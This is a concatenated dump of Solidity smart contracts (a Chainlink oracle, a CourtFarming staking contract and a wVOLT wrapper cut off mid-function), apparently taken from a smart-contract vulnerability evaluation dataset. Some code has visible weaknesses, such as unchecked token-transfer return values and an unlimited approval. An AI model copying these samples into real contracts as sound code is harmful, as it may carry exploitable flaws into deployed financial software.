require(msg.sender == getChainlinkToken(), "Must use LINK token");
_;
}
modifier permittedFunctionsForLINK(bytes memory _data) {
bytes4 funcSelector;
assembly {
// solhint-disable-next-line avoid-low-level-calls
funcSelector := mload(add(_data, 32))
}
require(funcSelector == ORACLE_REQUEST_SELECTOR, "Must use whitelisted functions");
_;
}
modifier validRequestLength(bytes memory _data) {
require(_data.length >= MINIMUM_REQUEST_LENGTH, "Invalid request length");
_;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathChainlink {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract Oracle is ChainlinkRequestInterface, OracleInterface, Ownable, LinkTokenReceiver, WithdrawalInterface {
using SafeMathChainlink for uint256;
uint256 constant public EXPIRY_TIME = 5 minutes;
uint256 constant private MINIMUM_CONSUMER_GAS_LIMIT = 400000;
// We initialize fields to 1 instead of 0 so that the first invocation
// does not cost more gas.
uint256 constant private ONE_FOR_CONSISTENT_GAS_COST = 1;
LinkTokenInterface internal LinkToken;
mapping(bytes32 => bytes32) private commitments;
mapping(address => bool) private authorizedNodes;
uint256 private withdrawableTokens = ONE_FOR_CONSISTENT_GAS_COST;
event OracleRequest(bytes32 indexed specId,
address requester,
bytes32 requestId,
uint256 payment,
address callbackAddr,
bytes4 callbackFunctionId,
uint256 cancelExpiration,
uint256 dataVersion,
bytes data);
event CancelOracleRequest(bytes32 indexed requestId);
constructor(address _link)
public
Ownable()
{
LinkToken = LinkTokenInterface(_link); // external but already deployed and unalterable
}
function oracleRequest(address _sender,
uint256 _payment,
bytes32 _specId,
address _callbackAddress,
bytes4 _callbackFunctionId,
uint256 _nonce,
uint256 _dataVersion,
bytes calldata _data)
external
override
onlyLINK()
checkCallbackAddress(_callbackAddress)
{
bytes32 requestId = keccak256(abi.encodePacked(_sender, _nonce));
require(commitments[requestId] == 0, "Must use a unique ID");
// solhint-disable-next-line not-rely-on-time
uint256 expiration = now.add(EXPIRY_TIME);
commitments[requestId] = keccak256(abi.encodePacked(_payment,
_callbackAddress,
_callbackFunctionId,
expiration));
emit OracleRequest(_specId,
_sender,
requestId,
_payment,
_callbackAddress,
_callbackFunctionId,
expiration,
_dataVersion,
_data);
}
function fulfillOracleRequest(bytes32 _requestId,
uint256 _payment,
address _callbackAddress,
bytes4 _callbackFunctionId,
uint256 _expiration,
bytes32 _data)
external
onlyAuthorizedNode
override
isValidRequest(_requestId)
returns (bool)
{
bytes32 paramsHash = keccak256(abi.encodePacked(_payment,
_callbackAddress,
_callbackFunctionId,
_expiration));
require(commitments[_requestId] == paramsHash, "Params do not match request ID");
withdrawableTokens = withdrawableTokens.add(_payment);
delete commitments[_requestId];
require(gasleft() >= MINIMUM_CONSUMER_GAS_LIMIT, "Must provide consumer enough gas");
// All updates to the oracle's fulfillment should come before calling the
// callback(addr+functionId) as it is untrusted.
(bool success,) = _callbackAddress.call(abi.encodeWithSelector(_callbackFunctionId, _requestId, _data)); // solhint-disable-line avoid-low-level-calls
return success;
}
function getAuthorizationStatus(address _node)
external
view
override
returns (bool)
{
return authorizedNodes[_node];
}
function setFulfillmentPermission(address _node, bool _allowed)
external
override
onlyOwner()
{
authorizedNodes[_node] = _allowed;
}
function withdraw(address _recipient, uint256 _amount)
external
override(OracleInterface, WithdrawalInterface)
onlyOwner
hasAvailableFunds(_amount)
{
withdrawableTokens = withdrawableTokens.sub(_amount);
assert(LinkToken.transfer(_recipient, _amount));
}
function withdrawable()
external
view
override(OracleInterface, WithdrawalInterface)
onlyOwner()
returns (uint256)
{
return withdrawableTokens.sub(ONE_FOR_CONSISTENT_GAS_COST);
}
function cancelOracleRequest(bytes32 _requestId,
uint256 _payment,
bytes4 _callbackFunc,
uint256 _expiration)
external
override
{
bytes32 paramsHash = keccak256(abi.encodePacked(_payment,
msg.sender,
_callbackFunc,
_expiration));
require(paramsHash == commitments[_requestId], "Params do not match request ID");
// solhint-disable-next-line not-rely-on-time
require(_expiration <= now, "Request is not expired");
delete commitments[_requestId];
emit CancelOracleRequest(_requestId);
assert(LinkToken.transfer(msg.sender, _payment));
}
function getChainlinkToken()
public
view
override
returns (address)
{
return address(LinkToken);
}
// MODIFIERS
modifier hasAvailableFunds(uint256 _amount) {
require(withdrawableTokens >= _amount.add(ONE_FOR_CONSISTENT_GAS_COST), "Amount requested is greater than withdrawable balance");
_;
}
modifier isValidRequest(bytes32 _requestId) {
require(commitments[_requestId] != 0, "Must have a valid requestId");
_;
}
modifier onlyAuthorizedNode() {
require(authorizedNodes[msg.sender] || msg.sender == owner(), "Not an authorized node to fulfill requests");
_;
}
modifier checkCallbackAddress(address _to) {
require(_to != address(LinkToken), "Cannot callback to LINK");
_;
}
}
| 73,619 | 12,735 |
6e2d3e4ab0b31ce986ae8e8790037eedb3647908d0c3af39988c52e8d64e0bef
| 26,771 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/CourtFarming_MatterStake-0x3bf32bb284a038fd40e6dc022fddc87f894bf148.sol
| 5,027 | 18,310 |
pragma solidity ^0.5.0;
interface ICourtStake{
function lockedStake(uint256 amount, address beneficiar, uint256 StartReleasingTime, uint256 batchCount, uint256 batchPeriod) external;
}
interface IMERC20 {
function mint(address account, uint amount) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract CourtFarming_MatterStake {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public constant stakedToken = IERC20(0x1C9491865a1DE77C5b6e19d2E6a5F1D7a6F2b25F);
IMERC20 public constant courtToken = IMERC20(0x0538A9b4f4dcB0CB01A7fA34e17C0AC947c22553);
uint256 private _totalStaked;
mapping(address => uint256) private _balances;
// last updated block number
uint256 private _lastUpdateBlock;
// incentive rewards
uint256 public incvFinishBlock; // finish incentive rewarding block number
uint256 private _incvRewardPerBlock; // incentive reward per block
uint256 private _incvAccRewardPerToken; // accumulative reward per token
mapping(address => uint256) private _incvRewards; // reward balances
mapping(address => uint256) private _incvPrevAccRewardPerToken;// previous accumulative reward per token (for a user)
uint256 public incvStartReleasingTime; // incentive releasing time
uint256 public incvBatchPeriod; // incentive batch period
uint256 public incvBatchCount; // incentive batch count
mapping(address => uint256) public incvWithdrawn;
address public owner;
enum TransferRewardState {
Succeeded,
RewardsStillLocked
}
address public courtStakeAddress;
event Staked(address indexed user, uint256 amount);
event Unstaked(address indexed user, uint256 amount);
event ClaimReward(address indexed user, uint256 reward);
event ClaimIncentiveReward(address indexed user, uint256 reward);
event StakeRewards(address indexed user, uint256 amount, uint256 lockTime);
event CourtStakeChanged(address oldAddress, address newAddress);
event StakeParametersChanged(uint256 incvRewardPerBlock, uint256 incvRewardFinsishBlock, uint256 incvLockTime);
constructor () public {
owner = msg.sender;
uint256 incvRewardsPerBlock = 8267195767195767;
uint256 incvRewardsPeriodInDays = 90;
incvStartReleasingTime = 1620914400; // 13/05/2021 // check https://www.epochconverter.com/ for timestamp
incvBatchPeriod = 1 days;
incvBatchCount = 1;
_stakeParametrsCalculation(incvRewardsPerBlock, incvRewardsPeriodInDays, incvStartReleasingTime);
_lastUpdateBlock = blockNumber();
}
function _stakeParametrsCalculation(uint256 incvRewardsPerBlock, uint256 incvRewardsPeriodInDays, uint256 iLockTime) internal{
uint256 incvRewardBlockCount = incvRewardsPeriodInDays * 5760;
uint256 incvRewardPerBlock = incvRewardsPerBlock;
_incvRewardPerBlock = incvRewardPerBlock * (1e18);
incvFinishBlock = blockNumber().add(incvRewardBlockCount);
incvStartReleasingTime = iLockTime;
}
function changeStakeParameters(uint256 incvRewardsPerBlock, uint256 incvRewardsPeriodInDays, uint256 iLockTime) public {
require(msg.sender == owner, "can be called by owner only");
updateReward(address(0));
_stakeParametrsCalculation(incvRewardsPerBlock, incvRewardsPeriodInDays, iLockTime);
emit StakeParametersChanged(_incvRewardPerBlock, incvFinishBlock, incvStartReleasingTime);
}
function updateReward(address account) public {
// reward algorithm
// in general: rewards = (reward per token ber block) user balances
uint256 cnBlock = blockNumber();
// update accRewardPerToken, in case totalSupply is zero; do not increment accRewardPerToken
if (_totalStaked > 0) {
uint256 incvlastRewardBlock = cnBlock < incvFinishBlock ? cnBlock : incvFinishBlock;
if (incvlastRewardBlock > _lastUpdateBlock) {
_incvAccRewardPerToken = incvlastRewardBlock.sub(_lastUpdateBlock)
.mul(_incvRewardPerBlock).div(_totalStaked)
.add(_incvAccRewardPerToken);
}
}
_lastUpdateBlock = cnBlock;
if (account != address(0)) {
uint256 incAccRewardPerTokenForUser = _incvAccRewardPerToken.sub(_incvPrevAccRewardPerToken[account]);
if (incAccRewardPerTokenForUser > 0) {
_incvRewards[account] =
_balances[account]
.mul(incAccRewardPerTokenForUser)
.div(1e18)
.add(_incvRewards[account]);
_incvPrevAccRewardPerToken[account] = _incvAccRewardPerToken;
}
}
}
function stake(uint256 amount) public {
updateReward(msg.sender);
if (amount > 0) {
_totalStaked = _totalStaked.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakedToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
}
function unstake(uint256 amount, bool claim) public {
updateReward(msg.sender);
if (amount > 0) {
_totalStaked = _totalStaked.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakedToken.safeTransfer(msg.sender, amount);
emit Unstaked(msg.sender, amount);
}
claim = false;
}
function stakeIncvRewards(uint256 amount) public returns (bool) {
updateReward(msg.sender);
uint256 incvReward = _incvRewards[msg.sender];
if (amount > incvReward || courtStakeAddress == address(0)) {
return false;
}
_incvRewards[msg.sender] -= amount; // no need to use safe math sub, since there is check for amount > reward
courtToken.mint(address(this), amount);
ICourtStake courtStake = ICourtStake(courtStakeAddress);
courtStake.lockedStake(amount, msg.sender, incvStartReleasingTime, incvBatchCount, incvBatchPeriod);
emit StakeRewards(msg.sender, amount, incvStartReleasingTime);
}
function setCourtStake(address courtStakeAdd) public {
require(msg.sender == owner, "only contract owner can change");
address oldAddress = courtStakeAddress;
courtStakeAddress = courtStakeAdd;
IERC20 courtTokenERC20 = IERC20(address(courtToken));
courtTokenERC20.approve(courtStakeAdd, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
emit CourtStakeChanged(oldAddress, courtStakeAdd);
}
function rewards(address account) public view returns (uint256 reward, uint256 incvReward) {
// read version of update
uint256 cnBlock = blockNumber();
uint256 incvAccRewardPerToken = _incvAccRewardPerToken;
// update accRewardPerToken, in case totalSupply is zero; do not increment accRewardPerToken
if (_totalStaked > 0) {
uint256 incvLastRewardBlock = cnBlock < incvFinishBlock ? cnBlock : incvFinishBlock;
if (incvLastRewardBlock > _lastUpdateBlock) {
incvAccRewardPerToken = incvLastRewardBlock.sub(_lastUpdateBlock)
.mul(_incvRewardPerBlock).div(_totalStaked)
.add(incvAccRewardPerToken);
}
}
incvReward = _balances[account]
.mul(incvAccRewardPerToken.sub(_incvPrevAccRewardPerToken[account]))
.div(1e18)
.add(_incvRewards[account])
.sub(incvWithdrawn[account]);
reward = 0;
}
function incvRewardInfo() external view returns (uint256 cBlockNumber, uint256 incvRewardPerBlock, uint256 incvRewardFinishBlock, uint256 incvRewardFinishTime, uint256 incvRewardLockTime) {
cBlockNumber = blockNumber();
incvRewardFinishBlock = incvFinishBlock;
incvRewardPerBlock = _incvRewardPerBlock.div(1e18);
if(cBlockNumber < incvFinishBlock){
incvRewardFinishTime = block.timestamp.add(incvFinishBlock.sub(cBlockNumber).mul(15));
}else{
incvRewardFinishTime = block.timestamp.sub(cBlockNumber.sub(incvFinishBlock).mul(15));
}
incvRewardLockTime=incvStartReleasingTime;
}
// expected reward,
// please note this is only expectation, because total balance may changed during the day
function expectedRewardsToday(uint256 amount) external view returns (uint256 reward, uint256 incvReward) {
reward = 0;
uint256 totalIncvRewardPerDay = _incvRewardPerBlock * 5760;
incvReward = totalIncvRewardPerDay.div(_totalStaked.add(amount)).mul(amount).div(1e18);
}
function lastUpdateBlock() external view returns(uint256) {
return _lastUpdateBlock;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function totalStaked() external view returns (uint256) {
return _totalStaked;
}
function blockNumber() public view returns (uint256) {
return block.number;
}
function getCurrentTime() public view returns(uint256){
return block.timestamp;
}
function getVestedAmount(uint256 lockedAmount, uint256 time) internal view returns(uint256){
// if time < StartReleasingTime: then return 0
if(time < incvStartReleasingTime){
return 0;
}
// if locked amount 0 return 0
if (lockedAmount == 0){
return 0;
}
// elapsedBatchCount = ((time - startReleasingTime) / batchPeriod) + 1
uint256 elapsedBatchCount =
time.sub(incvStartReleasingTime)
.div(incvBatchPeriod)
.add(1);
// vestedAmount = lockedAmount * elapsedBatchCount / batchCount
uint256 vestedAmount =
lockedAmount
.mul(elapsedBatchCount)
.div(incvBatchCount);
if(vestedAmount > lockedAmount){
vestedAmount = lockedAmount;
}
return vestedAmount;
}
function incvRewardClaim() public returns(uint256 amount){
updateReward(msg.sender);
amount = getVestedAmount(_incvRewards[msg.sender], getCurrentTime()).sub(incvWithdrawn[msg.sender]);
if(amount > 0){
incvWithdrawn[msg.sender] = incvWithdrawn[msg.sender].add(amount);
courtToken.mint(msg.sender, amount);
emit ClaimIncentiveReward(msg.sender, amount);
}
}
function getBeneficiaryInfo(address ibeneficiary) external view
returns(address beneficiary,
uint256 totalLocked,
uint256 withdrawn,
uint256 releasableAmount,
uint256 nextBatchTime,
uint256 currentTime){
beneficiary = ibeneficiary;
currentTime = getCurrentTime();
totalLocked = _incvRewards[ibeneficiary];
withdrawn = incvWithdrawn[ibeneficiary];
(, uint256 incvReward) = rewards(ibeneficiary);
releasableAmount = getVestedAmount(incvReward, getCurrentTime()).sub(incvWithdrawn[beneficiary]);
nextBatchTime = getIncNextBatchTime(incvReward, ibeneficiary, currentTime);
}
function getIncNextBatchTime(uint256 lockedAmount, address beneficiary, uint256 time) internal view returns(uint256){
// if total vested equal to total locked then return 0
if(getVestedAmount(lockedAmount, time) == _incvRewards[beneficiary]){
return 0;
}
// if time less than startReleasingTime: then return sartReleasingTime
if(time <= incvStartReleasingTime){
return incvStartReleasingTime;
}
// find the next batch time
uint256 elapsedBatchCount =
time.sub(incvStartReleasingTime)
.div(incvBatchPeriod)
.add(1);
uint256 nextBatchTime =
elapsedBatchCount
.mul(incvBatchPeriod)
.add(incvStartReleasingTime);
return nextBatchTime;
}
}
| 200,498 | 12,736 |
4f1fa31d2b311544e0860b4070dfd97d536a9cc5f7c2cbbf9a1a793f1afcde44
| 31,911 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/6d/6d89207a1b21cf1a6036dfcd320a30d9cd779c7d_wVOLT.sol
| 3,567 | 13,895 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IStaking {
function stake(uint _amount, address _recipient) external returns (bool);
function unstake(uint _amount, address _recipient) external returns (bool);
function index() external view returns (uint);
}
contract wVOLT is ERC20 {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
address public immutable staking;
address public immutable VOLT;
address public immutable VOLTs;
constructor(address _staking, address _VOLT, address _VOLTs) ERC20('Wrapped VOLTs', 'wVOLTs') {
require(_staking != address(0));
staking = _staking;
require(_VOLT != address(0));
VOLT = _VOLT;
require(_VOLTs != address(0));
VOLTs = _VOLTs;
}
function wrapFromVOLT(uint _amount) external returns (uint) {
uint256 initialBalance = IERC20(VOLT).balanceOf(address(this));
IERC20(VOLT).transferFrom(msg.sender, address(this), _amount);
uint256 newBalance = (IERC20(VOLT).balanceOf(address(this))).sub(initialBalance);
IERC20(VOLT).approve(staking, newBalance); // stake VOLT for VOLTs
IStaking(staking).stake(newBalance, address(this));
uint value = wVOLTValue(newBalance);
_mint(msg.sender, value);
return value;
}
function unwrapToVOLT(uint _amount) external returns (uint) {
_burn(msg.sender, _amount);
uint value = VOLTsValue(_amount);
IERC20(VOLTs).approve(staking, value); // unstake VOLTs for VOLT
IStaking(staking).unstake(value, address(this));
IERC20(VOLT).transfer(msg.sender, value);
return value;
}
function wrapFromVOLTs(uint _amount) external returns (uint) {
IERC20(VOLTs).transferFrom(msg.sender, address(this), _amount);
uint value = wVOLTValue(_amount);
_mint(msg.sender, value);
return value;
}
function unwrapToVOLTs(uint _amount) external returns (uint) {
